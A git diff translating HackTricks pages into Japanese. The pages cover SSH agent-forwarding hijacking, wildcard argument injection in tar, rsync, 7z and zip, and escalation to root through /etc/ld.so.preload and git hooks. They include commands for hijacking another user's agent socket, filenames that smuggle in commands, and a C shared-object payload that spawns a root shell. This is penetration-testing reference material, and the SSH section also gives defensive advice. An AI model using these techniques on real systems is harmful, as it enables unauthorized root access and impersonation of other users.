allowed to perform hundreds of thousands of attempts, they can eventually guess your password. +はるかに安全な認証方法は、パスワードなしでログインする[公開鍵認証](http://www.ibm.com/developerworks/library/l-keyc/index.html)です。公開鍵認証には、公開鍵と秘密鍵のペアが必要です。公開鍵は、秘密鍵でのみ復号化できるメッセージを暗号化します。リモートコンピュータは、あなたに対して秘密メッセージを暗号化するために、あなたの公開鍵のコピーを使用します。あなたは、秘密鍵を使用してメッセージを復号化し、メッセージをリモートコンピュータに送信することで、あなたがあなたであることを証明します。秘密鍵は常にローカルコンピュータに安全に保管されており、攻撃から守られています。 -A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack. +秘密鍵は貴重なものであり、保護する必要があるため、デフォルトでは暗号化形式で保存されます。残念ながら、これは使用する前に暗号化のパスフレーズを入力する必要があることを意味します。多くの記事では、この不便さを避けるためにパスフレーズのない(暗号化されていない)秘密鍵を使用することを提案しています。これは悪い考えです。なぜなら、あなたのワークステーションにアクセスできる人(物理的なアクセス、盗難、またはハッキングによる)は、あなたの公開鍵で構成された任意のコンピュータに自由にアクセスできるからです。 -The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key. +OpenSSHには、ローカルワークステーションで実行されるデーモンである[ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)が含まれています。これは、秘密鍵の復号化されたコピーをメモリに読み込みます。したがって、パスフレーズを一度だけ入力する必要があります。その後、sshクライアントが使用できるローカルの[ソケット](http://en.wikipedia.org/wiki/Unix\_domain\_socket)を提供します。このソケットを使用して、リモートサーバーから送信された暗号化されたメッセージを復号化するようにsshクライアントに要求します。あなたの秘密鍵は、パスワードを入力せずにsshを使用することができるままでありながら、ssh-agentプロセスのメモリに安全に保管されます。 -OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords. +## **ForwardAgentの動作原理** -## **How ForwardAgent Works** +多くのタスクでは、sshセッションを「チェーン」する必要があります。先ほどの例を考えてみましょう。私はワークステーションから開発サーバーにssh接続します。そこで、"svn+ssh"プロトコルを使用してsvnの更新を行う必要があります。共有サーバーに秘密鍵の平文コピーを残しておくのは愚かなことなので、パスワード認証に制限されてしまいます。ただし、ワークステーションのssh設定で「ForwardAgent」を有効にした場合、sshは組み込みのトンネリング機能を使用して、開発サーバー上に別のソケットを作成し、それをローカルワークステーション上のssh-agentソケットにトンネルします。これにより、開発サーバー上のsshクライアントは、秘密鍵にアクセスすることなく、svnサーバーに対して「この秘密メッセージを復号化してください」という要求を直接ssh-agentに送信し、自身を認証します。 -Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key. +## **なぜこれが危険なのか** -## **Why This Can Be Dangerous** - -Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent. - -My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable: +単純に言えば、中間サーバーでroot権限を持つ人は、あなたのssh-agentを自由に使用して他のサーバーに認証することができます。簡単なデモンストレーションで、これがどれほど簡単に行われるかを示します。ホスト名とユーザー名は、関係者を保護するために変更されています。 +私のラップトップでは、ssh-agentが実行されており、sshクライアントプログラムとソケットを介して通信しています。このソケットへのパスは、SSH_AUTH_SOCK環境変数に保存されています: ``` mylaptop:~ env|grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners @@ -82,32 +75,24 @@ SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners ``` - -The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent: - +[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)プログラムを使用すると、エージェント内のキーを表示および操作することができます。 ``` mylaptop:~ alice$ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` - -I have “ForwardAgent yes” in the \~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server: - +私のラップトップの\~/.ssh/configには「ForwardAgent yes」と書かれています。したがって、sshはローカルソケットとリモートサーバー上のローカルソケットを接続するトンネルを作成します。 ``` mylaptop:~ alice$ ssh seattle seattle:~ $ env|grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990 ``` - -Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine: - +たとえ私のキーが「seattle」にインストールされていなくても、sshクライアントプログラムはまだローカルマシンで実行されているエージェントにアクセスすることができます。 ``` seattle:~ alice $ ssh-add -l 2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA) ``` - -So… who can we mess with? - +そうですね...誰を攻撃しましょうか? ``` seattle:~ alice $ who alice pts/0 2012-04-06 18:24 (office.example.com) @@ -119,9 +104,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com) charlie pts/27 2012-04-03 12:32 (office.example.com) bob pts/29 2012-04-02 10:58 (office.example.com) ``` - -I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions: - +私はBobが好きではありません。彼のエージェント接続を見つけるために、彼のsshセッションの子プロセスを見つける必要があります。 ``` seattle:~ alice $ sudo -s [sudo] password for alice: @@ -131,69 +114,58 @@ sshd(16816)───bash(16817) sshd(25296)───bash(25297)───vim(14308) ``` - -There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/\/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines: - +以下は、実行中のプロセスの環境をrootが表示するためのいくつかの方法があります。Linuxでは、データは/proc/\/environに格納されています。NULLで終わる文字列で保存されているため、NULLを改行に変換するためにtrを使用します。 ``` seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ``` - -I now have everything I need to know in order to hijack Bob’s ssh-agent: - +私は今、Bobのssh-agentを乗っ取るために必要なすべての情報を持っています。 ``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l 2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA) ``` - -If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”: - +もし特定のターゲットを持っている場合は、直接接続できるはずです。そうでない場合は、プロセスリストを監視したり、Bobの履歴ファイルをgrepしたりするだけで、たくさんの機会のターゲットが見つかるはずです。この場合、私はBobがサーバー「ボストン」という名前の上に秘密のファイルをたくさん持っていることを知っています。 ``` seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston bob@boston:~$ whoami bob ``` +私は「seattle」でのルート権限を利用して「boston」のボブとしてアクセスすることに成功しました。彼をクビにするためにそれを利用できると思います。 -I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired. +## **自己保護!** -## **Protect Yourself!** - -Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds. - -Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the \~/.ssh/config syntax makes this fairly simple: +ssh-agentにキーを無期限に保存させないでください。OS Xでは、Keychainを非アクティブ時や画面がロックされた時にロックするように設定してください。他のUnix系プラットフォームでは、ssh-agentに-tオプションを渡すことで、キーが秒後に削除されるようにします。 +信頼できないホストに接続する際には、エージェントフォワーディングを有効にしないでください。幸いなことに、\~/.ssh/configの構文を使用すると、これはかなり簡単です。 ``` Host trustworthyhost - ForwardAgent yes +ForwardAgent yes ``` ``` Host * - ForwardAgent no +ForwardAgent no ``` +## **おすすめの読み物** -## **Recommended Reading** - -* [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins -* [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl -* [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) -* [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) +* [OpenSSHキーの管理](http://www.ibm.com/developerworks/library/l-keyc/index.html) - Daniel Robbins +* [SSHエージェントフォワーディングのイラスト入りガイド](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) - Steve Friedl +* [ssh-agentマニュアル](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) +* [ssh-addマニュアル](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
- - diff --git a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 4b8dc03b1..687b91776 100644 --- a/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -1,91 +1,77 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-## chown, chmod - -You can **indicate which file owner and permissions you want to copy for the rest of the files** +## chown、chmod +**他のファイルにコピーするファイルの所有者とアクセス許可を指定**することができます。 ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +これを利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(組み合わせ攻撃)_\ +__詳細はこちら [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Tar -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +これを利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\ +__詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください ## Rsync -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _attack)_\ -__More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +この脆弱性は、[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) (_rsync攻撃_) を使用して悪用することができます。\ +__詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください。 ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +**7z**では、`*`の前に`--`を使用しても(`--`は、次の入力がパラメータとして処理されないことを意味し、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドがrootによって実行されている場合、悪用することができます。 ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +そして、この実行中のフォルダにファイルを作成することができます。`@root.txt`というファイルと、ファイル`root.txt`を作成できます。`root.txt`は、読み取りたいファイルへの**シンボリックリンク**です。 ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +その後、**7z**が実行されると、`root.txt`を圧縮すべきファイルのリストを含むファイルとして扱います(これが`@root.txt`の存在を示しています)。そして、7zが`root.txt`を読み込むと、`/file/you/want/to/read`を読み込みますが、**このファイルの内容がファイルのリストではないため、エラーが発生します**。 -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_詳細は、HackTheBoxのCTFのWrite-upsを参照してください。_ ## Zip -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - __ @@ -93,16 +79,14 @@ __ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**最新バージョンのPEASSにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/linux-hardening/privilege-escalation/write-to-root.md b/linux-hardening/privilege-escalation/write-to-root.md index c7f8899ba..0b4cc3538 100644 --- a/linux-hardening/privilege-escalation/write-to-root.md +++ b/linux-hardening/privilege-escalation/write-to-root.md @@ -1,44 +1,42 @@ -# Arbitrary File Write to Root +# ルートへの任意のファイル書き込み
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +このファイルは、**`LD_PRELOAD`** 環境変数と同様に動作しますが、**SUIDバイナリ**でも機能します。\ +作成または変更できる場合、実行されるバイナリごとに**ロードされるライブラリのパス**を追加するだけです。 +例: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` +### Gitフック -### Git hooks +[**Gitフック**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)は、gitリポジトリでさまざまなイベント(コミットの作成、マージなど)が発生したときに実行される**スクリプト**です。したがって、特権スクリプトまたはユーザーがこれらのアクションを頻繁に実行し、`.git`フォルダに書き込むことができる場合、これを使用して特権昇格が可能です。 -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository ñlike when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +たとえば、新しいコミットが作成されるたびに常に実行されるように、gitリポジトリの`.git/hooks`にスクリプトを生成することができます: {% code overflow="wrap" %} ```bash @@ -51,10 +49,10 @@ chmod +x pre-commit ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index 03e08e5fb..feaeadd35 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,10 +1,10 @@ -# Useful Linux Commands +# 便利なLinuxコマンド ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,16 +12,15 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** 